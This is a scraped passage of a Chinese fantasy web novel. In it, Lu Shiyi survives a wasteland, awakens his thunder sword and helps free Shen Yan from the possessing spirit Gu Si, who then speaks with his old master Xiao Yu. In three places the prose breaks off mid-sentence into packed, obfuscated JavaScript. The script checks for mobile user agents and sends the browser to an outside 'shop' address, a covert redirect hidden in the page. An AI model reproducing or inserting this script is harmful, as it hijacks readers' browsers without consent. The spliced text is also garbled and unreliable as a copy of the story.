35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119463|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但顾肆动了。 他速度太快,只留下一道残影。 下一秒,他已经出现在陆时忆面前,一只手抓住陆时忆凝聚电光的手腕,另一只手,轻轻按在陆时忆胸口。 “你挺碍事的。”顾肆说。 掌心黑光一闪。 陆时忆只觉得一股无法抗拒的力量撞在胸口,整个人倒飞出去,像断线的风筝一样划过半空,重重砸在几十米外的地上,又滚出十几米,才停下来。 他趴在地上,咳出一口血,眼前阵阵发黑。 “陆时忆!”江淮年想冲过去,但顾肆已经挡在他面前。 “别急,轮到你了。”顾肆微笑,抬手,掌心再次凝聚黑光。 江淮年想躲,但周围的空间忽然变得粘稠,像陷进了泥沼。 是顾肆用风系异能控制了气流,他动不了,只能眼睁睁看着那只裹着黑光的手,按向自己胸口。 “滚开!!!” 是沈言的声音,从自己的身体里吼出来的。顾肆的动作猛地一顿,脸上的表情瞬间扭曲,眼神在疯狂和痛苦之间急速切换。 他抱住头,周身的能量彻底失控,胡乱地爆发开来。 “趁现在!”远处传来裴衍的吼声。 江淮年抓住机会,挣脱气流束缚,转身扑向晶石,但顾肆虽然失控,本能还在,一道风刃斩来,逼得江淮年不得不闪避。 就这么一耽搁,晶石周围的魂化造物和影仆已经重新围了上来,把晶石护得严严实实。 “不行……冲不过去……”江淮年咬牙。 “先撤!”裴衍的声音传来,他和时聿、宋听澜、江妤已经杀到近前,但每个人身上都挂了彩,江妤脸色苍白,显然异能消耗过度。 “可是陆时忆……”江淮年看向陆时忆倒下的方向。那里已经被魂化造物淹没了,看不见人影。 “他……”宋听澜咬牙,“现在顾不得那么多了!先撤出去,再从长计议!” “不!不能丢下他!”江淮年红了眼。 “你想我们都死在这儿吗?!陆时忆不会希望我们为了救他全军覆没!走!” 最后那个走字,几乎是吼出来的。 江淮年浑身一颤,看着远处那片越来越密集的魂化造物,又看看身边伤痕累累的伙伴,最终,狠狠咬牙。 “走!” 他们转身,朝着来路突围。 顾肆还在原地能量失控,暂时顾不上他们。 魂化造物和影仆虽然多,但没了顾肆的指挥,只是凭本能攻击,压力小了不少。 几人拼尽全力,杀出一条血路,终于冲出了荒原核心区域。 回头看去,荒原深处的魂化范围又扩大了一圈。那些半透明扭曲的魂化造物,像鬼魅一样在灰败的土地上游荡。 而陆时忆倒下的地方,已经被彻底淹没了。 “陆时忆……”江淮年拳头握得死紧,整个人都在抖。 身后,荒原死寂,只有风声呜咽,像送葬的哀乐。 而荒原深处,那片魂化造物的海洋里。 陆时忆趴在地上,意识模糊。 胸口疼得像要裂开,顾肆那一掌,差点震碎他的心脉。 他咳了几声,又咳出血,视野里一片血红。 周围是密密麻麻的魂化造物。 它们没有立刻攻击,只是围着他,空洞的眼睛盯着他,像是在观察,又像是在等待命令。 陆时忆挣扎着想爬起来,但手臂一软,又摔回去。 这荒原全是魂化后的死土,他的雷系异能在这里被压制得厉害,十成威力发挥不出三成。刚才强行催动异能,已经伤了根本。 “妈的……”他骂了一句,声音小得自己都快听不见。 不能死在这儿。 江妤还在等他回去,江淮年那小子还欠他顿揍,沈言还没救出来,静园那帮混蛋还等着他回去斗嘴…… 他咬牙,用尽最后一点力气,从腰间拔出短剑,这还是时聿送他的,说是防身用。剑很普通,但够锋利。 魂化造物开始动了。 它们像潮水一样涌上来,半透明的身体扭曲着,伸出一只只模糊的手。 陆时忆挥剑,剑锋划过魂化造物,像划过空气,它们只是散开,然后又凝聚。 杀不死。 真的杀不死。 陆时忆想起江淮年说过的话:“打不过就跑,不丢人。” 跑?往哪儿跑? 四周全是这玩意儿,天上还有顾肆。 那疯子虽然暂时失控,但随时可能恢复。往哪儿跑? 但他还是得跑。 哪怕爬,也得爬出去。 他撑着剑,摇摇晃晃地站起来。 魂化造物围上来,他挥剑,斩散几个,但更多的涌上来。 他一步步往外挪,每一步都像踩在刀尖上。 胸口疼,腿软,视线模糊,但他不能停。 不知道走了多久,也许几分钟,也许几小时。天还是灰色的,分不清时间。 魂化造物始终跟着,不紧不慢,像在戏耍猎物的野兽。 陆时忆终于撑不住了,脚下一软,跪倒在地。剑插在土里,勉强撑住身体。他喘着粗气,眼前阵阵发黑。 要死了吗?死在这鬼地方,连个收尸的人都没有? 他不甘心。 他还有那么多事没做,那么多话没说。 他还没告诉江妤,他是真的喜欢她,不是闹着玩的。 他还没跟江淮年正式道歉,为之前那些犯贱的事。 他还没把沈言救出来,还没看裴衍那张冷脸笑一次…… 不能死。 他咬牙,重新握住剑柄。 掌心被粗糙的剑柄磨破,血流出来,滴在焦褐色的土里。 血渗进土里,那小块土地忽然亮了一下,很微弱,但确实亮了。 陆时忆一愣,低头看去。 血滴落的地方,焦褐色的土,似乎……恢复了一点点颜色? 很淡,但确实不是死灰了。 他的血……有用? 他闭上眼睛,不再试图外放异能,而是将体内残存的雷系能量,全部收束回心脏,然后—— “轰!” 以他为中心,一道刺目的电光炸开,雷光所过之处,魂化造物像遇到克星一样尖叫着退散,那些被魂化的土地,在雷光照耀下,竟然开始缓慢地恢复颜色。 有用!真的有用! 但陆时忆也到了极限。这一下耗尽了他最后一点力量,他眼前一黑,彻底昏死过去。 雷光渐渐黯淡,最后消失。 魂化造物重新围上来,但似乎忌惮刚才的雷光,不敢靠得太近。只是围着,等待着。 荒原死寂。 只有风声,和远处顾肆压抑的低吼,隐约传来。 陆时忆趴在地上,一动不动。 剑还握在手里,血顺着剑刃,一滴一滴,渗进土里。 时间,在这一刻,变得无比漫长。 21. 破而后立 陆时忆醒来的时候,天还是灰色的。 分不清是早晨、中午还是傍晚,荒原上没有昼夜,只有永恒的死寂和昏暗。 他趴在地上,脸贴着冰冷粗糙的土,嘴里都是血腥味和土腥味。 他疼得像要裂开,每一次呼吸都带着灼痛。 陆时忆试着动了下手指,指尖传来钻心的疼,大概是之前握剑太用力所以裂了,血和泥土混在一起,结了痂又裂开。 周围很安静。 那些魂化造物不见了,不知道是散了还是躲起来了。 他撑起上半身,环顾四周。 焦褐色的土地延伸到天际,远处是魂化区域的淡淡灰白,像世界的边界。 风吹过,卷起沙尘,打在脸上生疼。 他低头看自己。 衣服破得不成样子,胸口一个焦黑的掌印,是顾肆留下的。 手臂、腿上全是擦伤和划痕,有些深的地方还在渗血。 腰间的短剑还在,剑身沾满黑褐色的污渍,分不清是敌人的还是他自己的。 “还活着……” 他低声说,声音嘶哑得自己都认不出来。 活着,但跟死了也差不多。 异能耗尽,伤势严重,又饿又渴,还困在这个鬼地方。 他挣扎着坐起来,靠着旁边一块半人高的石头。 石头也是焦褐色的,表面坑坑洼洼,像被什么腐蚀过。 他从怀里摸出个小袋子,是宋听澜给的应急包,里面有几颗丹药和一小卷绷带。 丹药只剩两颗了,他吞了一颗,清凉的药力顺着喉咙滑下去,胸口的灼痛稍微缓解了些。 随后陆时忆用绷带草草包扎了手臂上最深的伤口,其他的顾不上了。 得找水,找吃的,然后……想办法出去。 他撑着石头站起来,腿一软,差点又跪下去。扶着石头缓了一会儿,才勉强站稳。 辨认了一下方向,来时的路已经看不见了,魂化区域扩大,把原来的地貌都改变了。 只能凭感觉,往魂化程度低的地方走。 一步,两步。 每一步都像踩在棉花上,虚浮无力。 荒原上没有路,只有一望无际的焦土和龟裂的地缝。 他避开那些地缝,尽量走在相对平整的地方。但平坦的地方往往有魂化造物游荡,他不得不绕路,或者贴着地缝边缘走,小心翼翼,生怕掉下去。 走了不知道多久,可能一个小时,可能半天。天色没有任何变化,灰色的云层死死压着,没有太阳,没有星光,只有令人窒息的昏暗。 陆时忆的喉咙干得像要冒烟,嘴唇裂开,渗出血丝。 他舔了舔,咸腥的味道刺激着味蕾,反而更渴了。 得找水。 荒原上应该有水,哪怕是个小水坑也行。 他放慢脚步,仔细观察地面。 龟裂的缝隙里,偶尔能看到一点深色,但凑近了看,只是潮湿的泥土,没有积水。 有些低洼处,泥土是深褐色的,他蹲下用手去挖,挖了半尺深,还是干土。 “妈的……”他骂了一句,声音干涩。 继续走。 腿越来越沉,眼皮也越来越重。 胸口那点药力快耗尽了,疼痛卷土重来,像有只手在胸腔里搅。他咬牙忍着,强迫自己迈步。 又走了一段,前方出现一片稀疏枯黄的草。 草很矮,贴着地皮,叶子卷曲,蔫头耷脑的。但在这一片死寂的荒原上,这点绿色简直像救命稻草。 陆时忆加快脚步走过去。草长在一片低洼处,洼地中央,有个脸盆大的小水坑。 水很浅,浑浊,表面漂着枯叶和不知名的浮沫。但确实是水。 他跪在水坑边,用手掬起一捧。水很凉,混着泥沙,但他顾不上了,凑到嘴边喝了一口。味道很怪,有土腥味,还有点说不出的涩,但至少是水。他一口气喝了十几捧,直到肚子发胀才停下。 有了水,稍微恢复了些力气。 他拔了几根草,塞进嘴里嚼。 又苦又涩,纤维粗糙,难以下咽。但他强迫自己吞下去。饿了几天,胃里空荡荡的,有点东西总比没有好。 吃饱喝足(并不),他靠着水坑边的土坡坐下,休息。眼皮重得像灌了铅,但他不敢睡。这地方不安全,谁知道那些魂化造物什么时候会冒出来。 他握着短剑,警惕地观察四周。风还在吹,呜咽着,像鬼哭。远处魂化区域,淡淡的灰白色像雾气一样缓缓扩散,所过之处,焦土变得更灰,更淡。 顾肆还在那里。沈言也在那里。 还有江淮年他们……他们应该逃出去了吧?回去找师父了?师父会有办法吗? 陆时忆不知道。他现在自身难保,想不了那么多。 休息了大概半个小时,他重新站起来,继续走。 这次方向明确了些,朝着魂化区域的反方向。虽然不知道那边是什么,但总比往魂化区走好。 走啊走,走啊走。 天还是那个天,地还是那个地。 景色一成不变,枯燥得让人发疯。 只有自己的脚步声,和风声,还有偶尔从魂化区传来的若有若无的呜咽。 陆时忆开始数步子。 数到一千,休息一会儿。 再数一千,再休息。 数着数着,数字就乱了,脑子也乱了。 他开始自言自语,跟自己说话,说静园的琐事,说江淮年的臭脸,说沈言的毒舌,说江妤的白眼,说裴衍的懒,说宋听澜的笑,说时聿的闷。 “江淮年那小子,肯定在骂我拖后腿……” “沈言那绿毛,不知道现在怎么样了,能不能抢回身体……” “江妤妹妹……我还没跟她正经表白呢……” 说着说着,眼眶有点热。 他赶紧抹了把脸,骂自己没出息。 不能哭。哭了更渴。 又走了不知道多久,水坑里喝的那点水早就耗干了,饥饿感卷土重来,比之前更凶猛。 胃里像有只手在抓,一阵阵绞痛。他捂着肚子,弯着腰,步子慢了下来。 得再找点吃的。草也行,虫子也行,什么都行。 他低头在焦土里翻找。偶尔能翻到几根草根,又干又硬,嚼不动。有一次翻到一只甲虫,黑黢黢的,有拇指大。他盯着甲虫看了几秒,然后闭上眼睛,把甲虫扔进嘴里,胡乱嚼了几下,吞下去。 味道……没法形容,反正不是人吃的东西。至少是蛋白质。 吃了甲虫,胃里的绞痛稍微好了点。他继续走。腿像灌了铅,每抬一次都要用尽全力。视线开始模糊,看东西有重影。他知道,这是体力透支的征兆。 不能倒。倒了就起不来了。 他咬着牙,一步一步往前挪。脑子里开始出现幻觉,好像看见江淮年他们在前面招手,喊他快点。他加快脚步,但那些人影总是离他那么远,追不上。 是幻觉。他告诉自己。别看了,看路。 又走了一段,前方出现一片更茂密的枯草。草有半人高,虽然枯黄,但至少是植物。他走过去,想在草里找找有没有能吃的。 刚拨开草丛,脚下忽然一空。 “我靠——!” 整个人掉进一个坑里。 坑不深,大概两米,但底下全是烂泥。他摔在烂泥里,溅了一身。烂泥又黏又臭,糊在脸上,呛进鼻子。 “呸!呸!”他爬起来,吐掉嘴里的泥,抹了把脸。脸上、手上、身上,全是黑乎乎的泥浆。 坑是天然形成的,底部有个小水洼,水很浑浊,但比之前那个水坑干净点。他顾不得脏,趴下去喝了几口。水带着土腥味,但至少解渴。 喝饱了,他开始观察这个坑。 坑壁是土,很陡,但能爬上去。他试了几次,但手上没力,爬一半就滑下来。烂泥糊在身上,又湿又重,更增加了难度。 “不行……得缓缓……”他靠在坑壁上,喘着粗气。 这一缓,就缓了不知道多久。 他累极了,困极了,眼皮打架,几次差点睡过去,又强迫自己睁开眼。 不能睡,睡了可能就醒不过来了。 但最终,疲倦战胜了意志。他头一歪,昏睡过去。 再醒来时,天还是那样。 灰色,昏暗。他不知道睡了多久,可能几分钟,可能几小时。身上又冷又湿,烂泥干了,结成硬块,裹在身上像层壳。 他活动了一下手脚,还好,没冻僵。胸口还是疼,但比之前好点了。他挣扎着站起来,开始第二次尝试爬坑。 这次他学聪明了,用短剑在坑壁上挖出几个踏脚的小坑。挖得很费力,剑不是铲子,挖几下就钝了。但他没停,一点点挖,挖出一个,踩上去,再挖下一个。花了不知道多长时间,终于挖到坑口。 他扒着坑沿,用力一撑,爬了上去。重新站在地面上,他累得瘫倒在地,半天起不来。 休息够了,他继续走。 方向已经彻底乱了,只能凭感觉,朝着魂化区域的反方向。 荒原太大了,魂化区域也在扩大,他走了很久,周围的景色却没有太大变化。 焦土,龟裂,偶尔几丛枯草,一两个水坑。 时间一天天过去。当然陆时忆也不知道时间,大概是这样吧。 陆时忆不记得自己走了多久,吃了多少草根和虫子,喝过多少浑浊的水。他身上的伤口结痂了又裂开,裂开了又结痂。衣服破成布条,勉强遮体。头发乱得像鸟窝,脸脏得看不出本来面目。 他瘦了,瘦得脱形。只有那双眼睛,还亮着,像两点不肯熄灭的火。 不能死。他对自己说。不能死在这儿。 但身体不听使唤。越来越虚,越来越累。走路开始打晃,看东西有黑点。他知道,自己快到极限了。 这天,他走到一片特别荒凉的地方。这里的土地颜色更深,接近黑色。裂缝更多,更宽,像大地的伤口。空气中弥漫着一股更浓的腐朽气息,闻多了头晕。 他下意识想绕开,但周围的裂缝太多,绕不过去。只能硬着头皮往前走。 越往里走,裂缝越宽。有些裂缝宽得能掉进去一个人,他不得不贴着边缘,小心翼翼地挪过去。有一次脚下打滑,差点掉下去,他拼命抓住一块凸起的石头,才没掉进深不见底的黑渊。 心脏狂跳,冷汗湿透破烂的衣服。他趴在裂缝边,喘了半天,才缓过来。 “不能死……不能死……”他喃喃自语,撑着站起来,继续走。 穿过这片裂缝区,前方出现一片相对平坦的开阔地。但开阔地上,密密麻麻全是魂化造物。数量比他之前见过的加起来还多,挤挤挨挨,像一片灰白色蠕动着的海洋。 陆时忆脚步一顿,头皮发麻。 这么多……冲不过去的。 他转身想退,但身后的裂缝区,不知道什么时候也出现了魂化造物,堵住了退路。前后夹击,他被困住了。 “妈的……”他握紧短剑,手在抖。 不是怕,是力竭。 他现在这个样子,能挥几剑?十剑?二十剑?然后呢? 但没退路了。只能拼。 他深吸一口气,然后,朝着前方那片魂化海洋,冲了过去。 短剑挥出,斩散最前面的几个魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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剑身开始震颤,发出低沉的嗡鸣,像在回应他体内那股狂暴的力量。 陆时忆低头,看着手里的剑。 这把普普通通的短剑此刻完全变了样。 剑身上的污渍和锈迹在高温下剥落,露出底下银亮的金属本色。 剑刃变得极薄,极锋利,边缘流淌着细碎的电弧。 剑格处,浮现出一个复杂的符文,符文也是银白色,光芒流转。 这是…… 他还没想明白,体内那股狂暴的力量已经找到了宣泄口,顺着他的手臂,疯狂涌入剑中。 短剑光芒大盛,银白色的雷光冲天而起,把昏暗的荒原照得亮如白昼。 周围的魂化造物被雷光一照,发出凄厉的尖叫,像雪遇骄阳,迅速消融溃散。 雷光所过之处,焦黑的土地被镀上一层银白,那些龟裂的缝隙,竟然开始缓慢愈合。 陆时忆愣愣地看着这一切,然后他笑了,虽然扯得胸口伤口剧痛,但他停不下来。 “原来……是这样……” 他举起剑,剑身雷光流转,与他体内的力量共鸣。这一刻,他感觉自己前所未有的强大。像是突破了某个瓶颈,达到了一个新的层次。 这把剑,不是时聿送的那把普通短剑了。它脱胎换骨,成了一把能完美承载他雷系异能的剑。 “谢了,时聿。” 他握紧剑,看向前方。魂化造物还在涌来,但已经不足为惧。 他抬手,轻轻一挥。 一道半月形的雷光剑气横扫而出。 所过之处,魂化造物灰飞烟灭,焦土被犁出一道深深的沟壑,沟壑边缘,土地竟然恢复了些许生机,长出嫩绿的新芽。 陆时忆看着自己的杰作,咧了咧嘴:“帅。” 他不再停留,提剑向前。 魂化造物像韭菜一样涌上来,又像韭菜一样被他一茬茬割倒。 雷光剑气纵横肆虐,所向披靡。他越打越顺手,越打越快。体内那股新生的力量仿佛无穷无尽,配合这把剑,简直如虎添翼。 只是光在地面上打,太慢了。 荒原这么大,魂化造物这么多,他要打到什么时候? 他看着远处隐约的魂化区域核心,那里灰白色最浓,顾肆和沈言应该就在那儿。他得去帮忙。 可是怎么过去?跑过去?太慢。 他盯着手里的剑,又看看脚下,试着将雷系能量凝聚在脚底,很薄的一层,然后用力一蹬—— “轰!” 一声爆鸣,他整个人像炮弹一样冲天而起,脚下炸开一团雷光,强大的反冲力把他托到十几米高。 “我靠!”他在空中手忙脚乱,差点没稳住身形掉下去。 不过很快掌握了诀窍,控制脚底的雷系能量输出,让爆炸更均匀,更持续。 于是,一个衣衫褴褛、浑身是伤的少年,手握一把雷光流转的长剑,脚底不断炸开雷光,像踩着无形的台阶,在低空飞驰。 速度极快,身后拖出一道长长的雷光轨迹,所过之处,魂化造物纷纷溃散,焦土重现生机。 就是脚有点疼。 每次雷光爆炸,反冲力震得脚底板发麻,久了还有点刺痛。 当然,跟能飞比起来,这点疼不算什么。 陆时忆越飞越熟练,越飞越快。 他朝着魂化区域核心的方向,全力冲刺。风吹在脸上,带着腐朽的气息,但他心里是前所未有的畅快和急切。 江淮年,沈言,裴衍,宋听澜,时聿,江妤……还有师父。 等我。 我来了。 22. 装逼的感觉太爽 陆时忆踩着雷光飞过荒原,脚底板被反冲力震得发麻刺痛,但他顾不上。剑在手,雷光在脚下炸开一道道银白轨迹,所过之处魂化造物纷纷溃散。 速度太快,风刮在脸上像刀子,但他眼睛死死盯着远处。 那里,魂化区域的核心,灰白色的灵质最浓郁,像一团不断膨胀的茧。 他能感觉到。顾肆就在那茧的中心。还有……江淮年他们的气息,微弱,但还在坚持。 “撑住啊……”他咬牙,脚下雷光再次爆开,速度又提一截。 近了,更近了。 那巨大的魂化茧已经清晰可见,直径足有上百米,表面流转着淡青色的风系能量和黑色的黑暗能量,像一颗正在孕育怪物的卵。 茧的周围,密密麻麻全是影仆和魂化造物,像最忠诚的守卫。而在茧的正前方,一小块尚未被完全魂化的焦土上,几个人影正在苦苦支撑。 是江淮年他们。 陆时忆瞳孔一缩。 裴衍半跪在地,双手死死按着地面,挡住从四面八方涌来的攻击。但已经布满裂痕,摇摇欲坠。裴衍的脸色白得像纸,显然异能透支到了极限。 时聿在他身侧,身形穿梭,短刀每次闪现必有一个影仆或魂化造物被击散。他身上也挂了彩,左肩一道深可见骨的伤口,鲜血染红了半边身子。动作明显慢了,好几次差点被击中。 宋听澜在稍后一点的位置,藤蔓舞动,缠住大片敌人,但藤蔓表面已经附着了厚厚的黑色冰晶。他脸色同样苍白,但还在坚持,藤蔓不断新生,又不断被侵蚀断裂。 江淮年站在最前面,直面那个巨大的魂化茧。他浑身是血,衣服破得不成样子,左臂以一个诡异的角度扭曲着,显然断了。 他站得笔直,右手握着那把萧予给的冰蓝色戒指化成的短杖,杖尖指着魂化茧,冰火两色光芒在杖身疯狂流转,像随时要炸开。 魂化茧表面,“沈言”的脸轮廓浮现出来。 “还不放弃?江淮年,你骨头挺硬啊。手臂断了,异能快尽了,其他人一个个要死了,你还站在这儿?图什么?” 江淮年没说话,只是握紧了短杖。杖尖的冰火光芒又亮了些。 “图你那可笑的伙伴情?图你那点可怜的正义感?”顾肆的声音充满嘲讽,“没用,都没用。” 江淮年终于开口,声音嘶哑,但每一个字都咬得很清楚,“你强,所以你就能随便夺走别人的命?随便抽走别人的魂?随便占别人的身体?顾肆,你这不叫强,叫疯。” “疯?疯就疯吧。只要能变强,疯又怎样?你看沈言,他多清醒,多理智,可结果呢?被我占了身体,意识压在最底下,像条狗一样苟延残喘。清醒有什么用?理智有什么用?” 话音未落,魂化茧表面猛地射出数十道黑色触手,直扑江淮年。 触手速度极快,裹挟着风系和黑暗能量,所过之处空间都微微扭曲。 江淮年想躲,但断臂影响平衡,慢了一拍。眼看触手就要将他贯穿。 一道银白色的雷光,如天罚般劈下。 “轰——!!!” 雷光精准地劈在触手最密集的地方,炸开刺目的电光。黑色触手在雷光中像遇到克星,尖叫着崩碎消融。 雷光余势不减,狠狠劈在魂化茧表面,炸开一个大洞。 “谁?!” “你爷爷我!”陆时忆的声音从天而降。 他踩着最后一记雷光爆冲,从天而降,重重落在江淮年身前。 落地瞬间,雷光以他为中心炸开一圈冲击波,将周围涌上来的影仆和魂化造物清空一片。 银白色的雷光长剑斜指地面,剑身电弧噼啪作响,映着他那张脏污却神采飞扬的脸。 “陆时忆?!”江淮年瞪大眼,又惊又喜。 裴衍抬起头,看了陆时忆一眼,扯了扯嘴角,想笑,但没力气。宋听澜和时聿也松了口气,但手上的动作没停。 “抱歉,来晚了。”陆时忆回头,冲江淮年咧嘴一笑,“路上有点事儿,耽搁了。 “你……”江淮年看着他手里那把雷光流转的长剑,又看看他脚底还没散尽的雷光,“你突破了?” “嗯。”陆时忆点头,转向魂化茧,剑指顾肆,“喂,绿毛怪,把我兄弟的身体还回来。” 顾肆盯着陆时忆,又盯着他手里的剑。 “……临阵突破了?” “羡慕啊?”陆时忆挑眉,“羡慕也没用,你这辈子是没戏了。赶紧的,从沈言身体里滚出来,不然……”他挥了挥剑,雷光噼啪作响,“我帮你滚。” “就凭你?”顾肆嗤笑一声“一把破剑,一点雷光,就想让我滚?” “以前也许不可能。”陆时忆说,“现在,不一样了。” 他话音未落,人已动了。 脚下雷光炸开,整个人化作一道银色闪电,直扑魂化茧。 速度快到只留下一道残影,顾肆想挡,但陆时忆的剑,斩在风刃上,像热刀切黄油,应声而破。 剑锋去势不减,直刺魂化茧表面那张脸。 顾肆终于色变,魂化茧猛地收缩,化作一道青光,向后急退。 但陆时忆如影随形,雷光剑紧追不舍,每一剑都带着狂暴的雷霆之力,逼得顾肆不得不连连闪避。 同时,陆时忆剑光所过之处。那些被雷光波及的焦土,竟然开始缓慢恢复颜色,甚至长出嫩芽。而被黑暗能量侵蚀的魂化区域,在雷光照耀下,灰白色也在褪去。 “他能净化黑暗,唤醒生机。”宋听澜的眼睛亮了。 场上,陆时忆越打越凶。雷光剑在他手里像活了过来,每一剑都带着开天辟地的气势。此刻突破的雷霆之力天生克制顾肆的轻灵,每一次碰撞,顾肆的风墙都被炸得粉碎,黑暗能量也被净化大片。 “该死……” 魂化茧再次膨胀,无数黑色触手和风刃同时射出,像一张大网罩向陆时忆。 陆时忆不闪不避,双手握剑,剑身雷光暴涨,化作一道巨大的雷霆剑芒,迎着那张大网,狠狠斩下。 “给我——开!” “轰——!!!” 剑芒斩碎触手,劈开风刃,去势不减,重重斩在魂化茧本体上。 魂化茧剧烈震颤,表面裂开无数道缝隙,淡青色的风系能量和黑色的黑暗能量像鲜血一样从裂缝里喷涌而出。 顾肆闷哼一声,魂化茧开始崩溃,表面的灵质像褪去的潮水,迅速消散。露出里面真正的景象。 沈言的身体,悬浮在半空。 但他周围,缠绕着无数道黑色锁链,锁链的另一端,连接着一个淡青色半透明的人影。 那是顾肆的灵魂本体。此刻,他的灵魂与沈言之间连接着数条线。而沈言的眼睛,是睁开的。 左眼是属于顾肆的,右眼是沈言自己满是痛苦和挣扎的眼睛。 他在反抗。哪怕被压制到这种地步,他还在反抗。 “沈言!”江淮年大喊。 沈言的右眼,转向他们,动了动,像在说“快”。 “陆时忆!”江淮年吼道,“斩那些锁链!斩断他和沈言的连接!” “明白!”陆时忆再次挥剑,雷霆剑芒化作数十道细小的雷光,精准地斩向那些黑色锁链。 顾肆想躲,但魂化茧崩溃,他失去了最大的屏障。而且沈言的反抗越来越激烈,身体开始不受控制地颤抖,试图挣脱锁链。 “沈言……你找死!”顾肆控制黑色锁链猛地收紧,勒进沈言的身体,鲜血迸溅。 沈言闷哼一声,但右眼里的光芒,更亮了。他嘴唇动了动,无声地说了两个字。 江淮年看懂了。他说的是:“动手。” “陆时忆!就是现在!”江淮年用尽最后力气,将手中短杖的冰火能量全部灌注进去,然后狠狠掷出。 短杖化作一道红蓝交织的流光,直射顾肆的灵魂本体。 与此同时,裴衍双手拍地,最后的能量爆发,地面隆起无数土刺,刺向顾肆。 时聿从阴影中跃出,短刀直取顾肆后心,宋听澜的藤蔓如毒蛇般缠向锁链,江妤的治愈光晕全部涌向沈言。 而陆时忆,双手握剑,剑尖指向天空。荒原上空,灰色的云层开始翻滚,雷光在云层中汇聚,越来越亮,越来越响。 “顾肆——”陆时忆的声音,混合着滚滚雷声,响彻荒原,“接我这招——” “天!雷!引!” “轰——!!!!!” 一道天雷,撕开云层,直劈而下,不偏不倚,正中顾肆的灵魂本体。 天雷至阳至刚,对灵魂体的伤害是毁灭性的。他的灵魂在天雷中剧烈颤抖,表面浮现无数裂纹,像要碎掉的瓷器。 黑色锁链,在天雷的轰击下,一根根崩断。 沈言的身体,从天雷的中心跌落。 陆时忆眼疾手快,冲过去接住。 沈言浑身是血,脸色苍白如纸,那双眼睛,终于恢复了清明。 “沈言?!”陆时忆又惊又喜。 沈言看着他,扯了扯嘴角,想说什么,但没力气,头一歪,昏了过去。 “沈言!”江淮年他们也冲了过来。江妤的治愈光晕立刻笼罩上去,宋听澜开始检查伤势。 而天上,顾肆的灵魂,还在天雷中挣扎。 但锁链已断,他和沈言身体的连接彻底切断。天雷的威力正在减弱,但他的灵魂,也已经到了崩溃的边缘。 淡青色的灵魂,变得极其稀薄,像随时会散开的烟。 那双疯狂的眼睛,此刻只剩下茫然,和一点点不甘。 他缓缓飘落,落在不远处的地上。没有实体,灵魂接触地面,像一团随时会散去的雾。 萧予不知何时出现在了场中,一步步走过去,走到顾肆的灵魂面前,低头看着他。 顾肆抬起头,看着萧予。那张曾经嚣张跋扈的脸,此刻只剩下虚弱和一点说不清的情绪。 “师父……”他开口,声音很轻,很飘。 “顾肆。”萧予看着他,眼神复杂,“为什么?” “为什么非要走到这一步?证明自己最强,就那么重要?” 顾肆沉默了很久。 天雷的余威还在他灵魂里肆虐,疼得他灵魂都在颤抖。但他看着萧予,看着这个曾经被他视为父亲而又恨之入骨的人,忽然笑了。 “重要啊……当然重要。我不证明,你怎么会看我?我不变强,你怎么会在意我?在静园的时候,我那么努力,那么拼,可你眼里永远有别人……那么多人,那么多人在你眼里。我呢?我在哪儿?” 萧予看着他,没说话。 “我打败其他人,你罚我。我练功到吐血,你说我急。我什么都做到最好,可你永远觉得不够。”顾肆的声音越来越低,越来越飘,“后来我走了,我想,我一定要变得特别强,强到让你后悔,后悔当初没多看我一眼。” 他顿了顿,指向江淮年他们:“这些废物,这些弱者,这些……需要你保护的累赘。你眼里全是他们。那我呢?我算什么?” 萧予依旧沉默。过了很久,他才缓缓开口,声音很轻,但每个字都清晰地传到顾肆耳中: “我一直在看你。从你进静园的第一天,到你离开的最后一刻,我一直在看你。” “你天赋好,我知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119465|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你努力,我也知道。你心高气傲,不能容忍任何人比你强,我更知道。” “我罚你,不是因为你打败他,是因为你对同门用杀招。我管你,不是嫌你急,是怕你走火入魔。我眼里有别人,是因为他们需要我教。而你从来不需要我教。你需要的,是有人告诉你,什么是对,什么是错。什么是强,什么是弱。什么是该争的,什么是该放的。” “可你没说……”顾肆声音发颤。 “我说了,你不听。”萧予叹气,“你太倔,太傲,我说什么你都觉得我在压你,在贬低你。肆儿,师父不是神,也会累,也会不知道该怎么教。对你,我是最用心的,也是最无力的。因为我不知道该怎么才能让你明白,变强不是目的,守护才是。赢不是终点,不输给自己才是。” 顾肆的灵魂在颤抖。不是疼,是别的什么,他自己也说不清那种感觉,几十年来从未有过。 “后来你走了,我找过你。”萧予继续说,“找了很多年,很多地方。最后我以为你死了。我后悔,后悔当初没把你拉回来,后悔没跟你说清楚。肆儿,师父从来没不在乎你。只是……用错了方法。” “所以……”他低声说,“你不是……嫌我?” “从来没有。”萧予摇头,“你是我最骄傲的徒弟,也是最让我心疼的徒弟。肆儿,放下那些无用的执念吧。” 顾肆沉默了许久。“我做了太多错事,害了太多人。”顾肆看向远处那些被魂化又渐渐恢复的土地,看向那些从魂化造物中解脱,茫然四顾的灵魂,“我抽了他们的魂,毁了他们的家,还想把整个世界都变成地狱。这样的我,没资格再说什么放不放下了。” “只要你愿意……” 